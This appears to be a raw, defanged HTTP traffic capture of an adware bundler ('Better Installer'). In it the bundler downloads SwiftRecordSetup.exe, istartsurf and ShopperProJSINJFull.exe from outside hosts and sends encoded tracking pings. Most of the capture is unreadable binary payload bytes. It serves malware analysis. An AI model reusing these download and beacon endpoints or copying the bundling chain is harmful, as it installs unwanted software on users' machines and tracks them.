ate "}..0..



GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=4463492-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:27 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 4463490
Content-Range: bytes 4463492-8926981/8926982
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
I.8H2t1=.^./.(c.*ADR.b.H..*.r..c [[email protected]
N..../.N~.?kuF[......iG.....iS_.a.jq..."...|..z..q.)..wDp....3|A......
.&........$.N.A."...i...0.F,.X..}F..jB.x.k..$.O...@.. ..........`...(4
..jT3..5._n.-.{....?.<. ..Z3.l.w ...2..j.0SH..lpk^h...s.2.[V7...u..
.:)KG.v......a..O._Cd..$.l.D...w.d>Da3b.........1..il.....`...{KP O
[.35....2k..........an\.......VB>..pq._...M...<||Q..n......S....
!).s).....|.v4'.......6..P.....[.9~X...6.O@aJ./2............v.l...Hv.}
..[5.....s*.9....x...F.. 4....3k.&.~....#.......0..G:..w?.S/...LC.....
...=.wp.so.....1....8=]0 .X....C..,..|2.........Q....IZ..h.....|....Bv
0..8.M...Q.8...<B..)W.TPy...K.../-...:......v.....q..G=....p.q8sx..
...w...-2..{.gK..I4........)#.m=.....]I6.....)....a.C.....Pb.v.7..E...
...A.-..z.....H.......n.N.k.T.?a.....D..].xP..]5......n..x.O...Sf.....
8...B....q..:5[r.3...6..n...o....`...D.4..v.xv..Ni...#.C...{..#.).}..=
{[email protected].^.Q...PH........G..9.f...1.{X.....j.Zt.w..c.?:..=N..Gt...
.......*7%...0..w....w...GAriW}...Bz.dhV9D.}.T|b.J.'.(...fj...x....8..
[email protected]=}..H_...A^.b..X....=.|[email protected]?v,..U......9#..3&7j..o.
.C..(....D.. .Y...R."O.C.\yk.5./u.{.....vjJ.b...3p........ ..M.,.6....
.w}n..pd.....m..{.._.@.;.Bc ...V).)R&V.l...W.v45...`..N........k....DB
.c..R....X......=..T.Y....k|.<...V..`.Yl..p!.. ....A........i...S$.
62.3F....-.b'........[f......__.Eb....|..]....v..:...r.......6...yG.A.
1......&!m.....v....#.Ks.O.......{..o9...|......S..c..|..,..!.!1..D.&g
t;.]F1T.. ^...f;..]...&...j..../..........}*......S.......10.K....
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?89b22f8bbca3b674 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK
Content-Type: application/x-x509-ca-cert
Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT
Accept-Ranges: bytes
ETag: "05934e1494dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 867
Date: Wed, 15 Apr 2015 02:32:03 GMT
Connection: keep-alive
0.._0..G.............!XS..0...*.H........0L1 0...U....GlobalSign Root 
CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...090318100000Z..29
0318100000Z0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.
0...U....GlobalSign0.."0...*.H.............0.........%v.y.x".......(..
.v....r.F.C....._$..K.`.F.R...Gpl.d...,...=. .......y.;..w...I.jb/.^..
h..'.8...>..&Y.s....&.....[...`.I.(.i;...(....aW7.t..t.:.r/.......=
...3.. .S.:.s..A. :......O..2`.W....hh.8&`u..w..... [email protected].^....w.
d.z._....b..l.Ti....n...qv.i.........B0@0...U...........0...U.......0.
...0...U........K...E$.MP.c.......0...*[email protected].
...A.....(.3.k.t...-..........sgJ..D{x..nlo.).39E....Wl.....S.-.$l..c.
.ShgV>...5!..h....S......]F...zX(./....7A..Dm.S(.~.g.........L'.L.s
sv.....z..-....,.<.U...~6..WI...-|`..AQ.#...2k.....,3.:;%..@.;,.x.a
/....Uo.....M.(.r..bPe.....1....GX?_HTTP/1.1 200 OK..Content-Type: app
lication/x-x509-ca-cert..Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT.
.Accept-Ranges: bytes..ETag: "05934e1494dd01:0"..Server: Microsoft-IIS
/7.5..X-Powered-By: ASP.NET..Content-Length: 867..Date: Wed, 15 Apr 20
15 02:32:03 GMT..Connection: keep-alive..0.._0..G.............!XS..0..
.*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1
.0...U....GlobalSign0...090318100000Z..290318100000Z0L1 0...U....Globa
lSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0.."0...*.
H.............0.........%v.y.x".......(...v....r.F.C....._$..K.`.F.R..
.Gpl.d...,...=. .......y.;..w...I.jb/.^..h..'.8...>..&Y.s....&.
<<< skipped >>>


GET /ajax/libs/jqueryui/1.10.3/jquery-ui.min.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: ajax.googleapis.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Type: text/javascript; charset=UTF-8
Last-Modified: Tue, 07 May 2013 09:09:49 GMT
Date: Mon, 13 Apr 2015 14:41:38 GMT
Expires: Tue, 12 Apr 2016 14:41:38 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 60666
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 128876
Alternate-Protocol: 80:quic,p=0.5
............kw...0.}...$.0.)r&.&.!..x..Y..{.N....!["..`.p......K......
......{WwWWU......_..N4.N.......l2.N..............=9Yw.6;?.......,.[H.
.Znv .f'.1..FL...V..ru#:/....~.US...o6..z...7.-..Ho.F,.PF.....5....%Le
U.....j..v#:..7...._.........(.M}.......V.Y..Z.g0^n.m8.A......z5..u1.S
o....o.....P...m...:..........oCY.rh.]ST.u.....yI..-..ro....Y.....^{..
..z...Z?..7........C. .S.......{`L'E.:...hN.u.5%...i/N.*..j..../_.<
9....6....T$w....EZ&wo...J..H.\L*X.o.[.c..~'..E ..........E..y3. (....
....u^M*.......gg..Yt[l.t5..<....... 8.P8.E4.G."J......8;k."I..Y...
e..u{>..N..p8{>`..._!.|.....d~*.0.x.WY$..c....L.i..44....y.M..4.
.r.....-.....gg.....o.dR.V.(..._\..[.....JT8.n.l..[.m.Q....>D.!.lDu
........y..]9.W..V._._t.=r.g..;.8.NT..S...0H.1..OG..........._....=..2
.].....~..~....._.|.2..o.......7...7.e.>.?.^~..../.x.......O.......
.._...U....o...w.?{......T.~...._?.*...:........2S)....T........}.gH..
J....x..... ...w....k..........=K.{......~?M...?....>.i>{..z....
)........ ....z.k3.Df.uR..z........u....>)..t.Q,..2......Z..*oE....
.e..8I[.x..h..}p..I&&.v.....hnv.....!..SM..l...;.y...<.8.D$.8;;....
.r....} .y8h...#...$.......]'..c...?...c..^5........u...q.x..y...5l..M
..JF........>.4..x.d.....h.s.......Hb.. ...I`....|Y..{.%....qy.."Q.
M7..#.x.P......nb.Km..A...4.\....t..fU...Q...h.8R..h...#...7M.>`..2
..h..U...8.t..9-.o.o...N..*Q...j...1N.2uzHwU........'.3L..j....<b..
.NF..V..6..V...l....\...w2...w].W../.FW....t.e.".........K....b......(
zSI...R.. <..[[email protected])pj"...)y1a.....W..]...
<<< skipped >>>


GET /1667.ashx?e=siwKo8d7dVRUzMSzzHoKeaCX1HSyNOdOjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyFHmS0Zrngqa/u6z7Uinv/jCvZJfV0k892840jcI/HESFwnxoOIHE6aTQd05qfPsYbPiCC4paVhdDohIbj8Q6VaNCl2I6 IrHveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLFjxb3RZ0G7JwAOX7FZBMF8Dz0JkPcFdHnEgtY/ 7tmTCEIsEjkHWEU= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:04 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=AZwPyJy3TZiu PbZ6jHEZlTMxLPMegp5CI12GLy81NeMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz33OgztFJlFP5wS/7uvkzjRNFIOcmDDpCEFAL52sIXt4XkathCyw/jA6hWny52hzrnjlpUfr/spfXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuSnio7cfrtyvkRKJkRvweKgv bqruNv6DAPcbWvcDLLqd2GwOcS1mN6 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:04 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /sd?is=sm HTTP/1.1
Range: bytes=130824-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 130824-523295/523296
Content-Length: 392472
Connection: keep-alive
P..nz2P....D.=....P.#7.(.Y#./[email protected]}R.
..;B...,..vgQ4...W..O&....=.......s../y.wa.h.0p$.Vf.J...JD..j5........
..;...Y.....:k.tT=..x./....E..n...........$.s=.....)8p.E....B..c.$..Vj
;.,.t.D|6d.B.lp.>Y.C.........w.^|..Yx.P`N..j.RN.. ...~...Lok.....o.
.m%`,@,.....J.S...jM@.....#...J..h..U^...`.RV.,^z..1.d/>?.u.\......
{.r.l....M........e.&...[.6<..M.......h.^...H.)..6.........../.O.].
.......W}. ...$..x9.9.i.......)..~..b.T.........f...<8...C..$>YC
............t..R.....`.*[email protected]..`.....i...X.y
...1.KQ...w,d.....4Oxn....... (....6.MY. .u...".Q.Fn.D..<..o..M....
...&ZYJ.b5.24o...M...j..$...l>.`rlx~..~F6Zh..>..`...i.y..-.e....
.2.. ..CCkx...&.g.....j..Y......V.5...5.[....z.J.....R..x..u..i...|...
..Y.s..-s.1.>...F.....G...YWH.0.H.... .6=AQ.s.......%..3n.S.,..RY.D
%...l.G^..Ny.QMb...>..=.1:h8.2.......%.Qv.=.g.i.........{.~.o....5.
1g[...._ .C.o.=.....%...[..[..i....Z/.z..i..UP.......8...sX..Y......iY
I...C.(E7..S..9...H,L...e..^ N.7...x.Qp.J.T....xz}.....&.%...<,. ..
{s.=..Vp.........'./......Zv9.m..P.f..8....w...`..pJ....>a.'(....s'
...l|t.....WO ..)3......2.....F...@...#.v........29.#..w.-...nN..S"w..
b........4.HY.......>.v..?......>.#..\...sA.......W....^pS.z....
..9..%Q.l...7.}...[..*<  rq.L:....[.$7=.=B.mE-......)s..KM.........
..!..s..xa2...v3..uF...gO.G'.B.e..-...z#..ck{`.v....`gx....Eg........`
[email protected]...'.A.....Z...LVAQd.q..( ...........6...6....P"..~.9...
...47..T.....IE..([.S.O.|o.1{Ue..?C^-................T9P.pb..B#...
<<< skipped >>>


GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d31kvmpgk4j074.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 12 Apr 2015 04:53:18 GMT
Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT
Expires: Sun, 12 Apr 2015 05:03:18 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Age: 361
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 8a256bddd45845f932a0a374e95fa057.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TcZ6nh2bsYIcXGVhBIsfA2l1-uB-r120cWba77Uo_3JcsbdelrgJIw==
1979.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N
<<< skipped >>>


GET /app/ping.ashx?e=M7A8vgjJHrgX0FFcLlqIhlTMxLPMegp5uQCvJzqHBQDZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0lFniNYS8SCXUh6jr A64ihaK9hL93ata/0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z31g28yHncZl0ry31KNAk1YoAnTx32zhJvgkLrIxNpbuQ5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5o0oOHh2ZuBol7seRJcZZoNfTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhrykB6FgH4ntItg== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=M7A8vgjJHrjHEQ/kk/2L9ixcBYBT1h/GG2VsjeM5FD37RH4w/5EvdUqAWhGQi7pGk2HxL2Lh3QcOAfDk6wxi8lA85yq3z/G8hjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGhZcLy7QdYrKoJyBGq4ONxRzTc4tIltzeL45tr37K5DDG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn9609pFHvExuwUbmkSx215/XH00p6LCl39lOUM6J79LgCK57HYRhYyEMEhKRjPtPBtbhVGyn6D NeEKXCI1fi6Q== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:42 GMT..Content-Length: 0..



GET /sd?is=sm HTTP/1.1
Range: bytes=196236-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 196236-523295/523296
Content-Length: 327060
Connection: keep-alive
-.. .E.......R..........v~t/..**[email protected]%-P.....0L.r....P8.C?k.....
..4!....tqQ.nJ.\.r.v..&k...}.9..t=;d...Fe0.....b.g.."S,......a..J0.Y:.
....o..]...G..4U.Xu...L..x..F..8.(...C'...*`.i....9..K(..[.......!..&l
t;..3Z............,.g. '...yO.......J-...;...._.|"..g.....jD">.....
....*W.l9.0....@ .C......hm.E.m.......j.&.V...r..t-e.JW.../Q..V.1n/n..
.Q.z.p }Sv...t..t.....g5C:..&@........$\ ....i..7..C B..q..6%."..zg..3
......../O...{..^[email protected].|i[9...qF0{.....-Mo'...p.N'....=..#...
.....g.4.]...7....O<......Ag..y.....w....C.....0a.......Ui.B......]
...X.X.".w=a.sa1.......I&..x....E_.a..K.1.~.`..p{...h....S....Pz./...G
.a...O...[/......j2'y.y.t..._.4.o.....!.......%.m..q..S...A&..*b>..
.C........D8...b5..=.s.......xHc~9..5?$...g.c.]PG..m..............q...
.BG....|.A..Zs..;_. [email protected].}.YC
...Y....Y..%m.3.^}.."../..I.u.[...z..>.......y.-6<.wU..%0/..7qJ.
n!......r....7b!...........P..{.6......0...oB...S0F...../..=}2i.e_/...
........[.i.V.}..[..i.1...... .....h.).-}.{..f...u...f'0.....%........
t.4......R....M.....p.,..E..A.o.u5b..n..&....u.<.(.(LK... .g.......
..#.>.O..B`.|..0.1.?.......07....(5.'..P..d.!7...._o...<..v^&...
._A3n[S.F.._..${V{....#,[..;..<.\n.._..uH...*.I..mN&Q...N#H.q.n.=.!
...48.......SN..2.4'.......g..6WY.D......._..W*.v..=.>[email protected]
.........|D9i/..y.|W@...... .8..t...M....q..x..$P..i..?%$......j...z.C
..@.,p.vW..!y..v.I....~"9...X>......NA....5j.E...q[.....Y...h...O=c
S.fU..D.]..<....r..3f.....3..!x..[t..SO. ....u1.m{Z"..Jw....O*.
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.usertrust.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:32:02 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Tue, 14 Apr 2015 16:29:13 GMT
Expires: Sat, 18 Apr 2015 16:29:13 GMT
ETag: BFDE91C3203F8D1C2C3C8743B66F258023FAC0B4
Cache-Control: max-age=308830,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp3
Content-Length: 471
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........z4.&...&T....$.T...2015041
4162913Z0s0q0I0... ........|.fT...D.b&...e{.z.......z4.&...&T....$.T..
.B.......R.K.$&.K....20150414162913Z....20150418162913Z0...*.H........
......&.8#......T...&...A<`.5L.I!X1D..P.L..8.2..c.Y)..&G_<..;..{
.:......Rs..y......q...%..rJJ...?.(.N...Y....4...m.O.S..d..P..Z5.@kA..
I..H..'..L.Y.....f...Y.2..\..D8.].!..2HN..~{Tw&$...^.[.yW...k..."T..?.
.%$f.a._*K.".G9).8...........{...|..l|.......1snNuE-.......



GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1
Host: download.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=1200000-1499999
Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1
Connection: keep-alive


HTTP/1.1 302 Found
Server: Apache
X-Backend-Server: bouncer3.webapp.phx1.mozilla.com
Cache-Control: max-age=60
Content-Type: text/html; charset=UTF-8
Date: Wed, 15 Apr 2015 02:28:18 GMT
Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
Keep-Alive: timeout=3, max=497
Content-Length: 0
Connection: Keep-Alive
X-Cache-Info: cached
HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer3.webapp.
phx1.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Wed, 15 Apr 2015 02:28:18 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=497..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=167832-335664
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: application/octet-stream
Content-Length: 167833
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:20 GMT
Cache-Control: max-age=259200
Content-Range: bytes 167832-335664/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B...........r.......$.$.B..$. .B...$...B..4.B.`.B...B.#......
F..G..F.....G..........r....$...B..I.#......F.....G..........r....$...
B..#.................r....$...B..I...B...B...B...B...B...B...B...B..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...B
... .B.(.B.4.B.H.B..E.^_........E.^_........F..G..E.^_...I......F..G..
F..G..E.^_....t1..|9.......u$.........r......$...B......$.\.B..I..
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:30 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: i2wFdEyawdeZYFnFA7OgL44fJ8U fqfexDzyHER5L/7BaO02d2wQbCfM MLNBbmTfYvILalCECM=
x-amz-request-id: 8DCD496A88419911
Last-Modified: Tue, 14 Apr 2015 05:20:04 GMT
ETag: "1d3374710779765f74bfc2e8342bef88"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/4737291
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



`.)r........q..d5..l^..B.;...H..1pK..o.D.:.X....<5.........VwT....}
....hw`.>.k.'.........<..d.J...,...qt.Pt..=3.q..iK.._R|E.=......
...#S.G.....b........_A}.q.Cv.D0.&.....=..o..4..>.aP]=Z............
".c.A%.i.zC..l.E-v...... ........Y.H.5..>^8.......a............t3.%
#...J.a...3q.?.!.........c|....'..........53'..T.#k3..nM.....z.Y2...z.
........oN1.?.L....<.Tr.s.uA..2..>.s.........o.-N^...qS.c.(..q'M
.Mw).....?.SZz%}................N;}l.....@>*.z5X.|.9w...i4...~ ....
.9.kw.X$B.(.d....WH..7.....5.x..U.^.h.Zk...}u..FH....r.i......<..q.
......t.zB..bP..ES....|..7... .4{..cF.0..Q..Sw.c...C....x...f,..S...  
y.[.J...,.y....j....Ha.c@..?fi.~Q..6 .Z....D....Z.../..P...37'......S.
. .s....1.E.g.<...=.......p....wO..D..'.....Gvdw..z........1.x.k...
.m..;qT>.:...F..b".u.E>..,..yL....&.._'n....k.....6...I.j.X.....
....V.P8j;.....h.Ycu.{.....*:.#w.........1n.0...c.tC...'?.M..2.V.6...X
7..G.(i....L8.T%[email protected] vA....s.l.| T].=@/e..
z..K.gj."...LY..{.>...O../h...kG:.l[.......T i.Z......L.-Jb.....K~.
[..o.....t.9R..CBR....0.....a.5W}.....&...V.....Ex..... :r..fF.UNU..W.
...3.........cy..x.."..qK....3...w.>H..xX.F.......Ju..ZUB.^j$hlP>
;....v`..........cG...(..y.m.....U.<U{.#\A..C:.......[.v......Rj..r
:.....\6....y...z...&..Z.%....L3/<-s.,.s:U..u.c.cB.&N:...........o.
L..fM..).\..`...........z...-.Z.Y...*x..y...Jej.....O.\.>8.P.WB..8-
..[D-1\ Df......j..kb......\H.....$].....~..?_xQ..s..8"...u[.....?./3/
.9_.@T_........ a.`.)Q.*z.. .9..I3.DW.=<...1...1.>J..]..@ ..
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


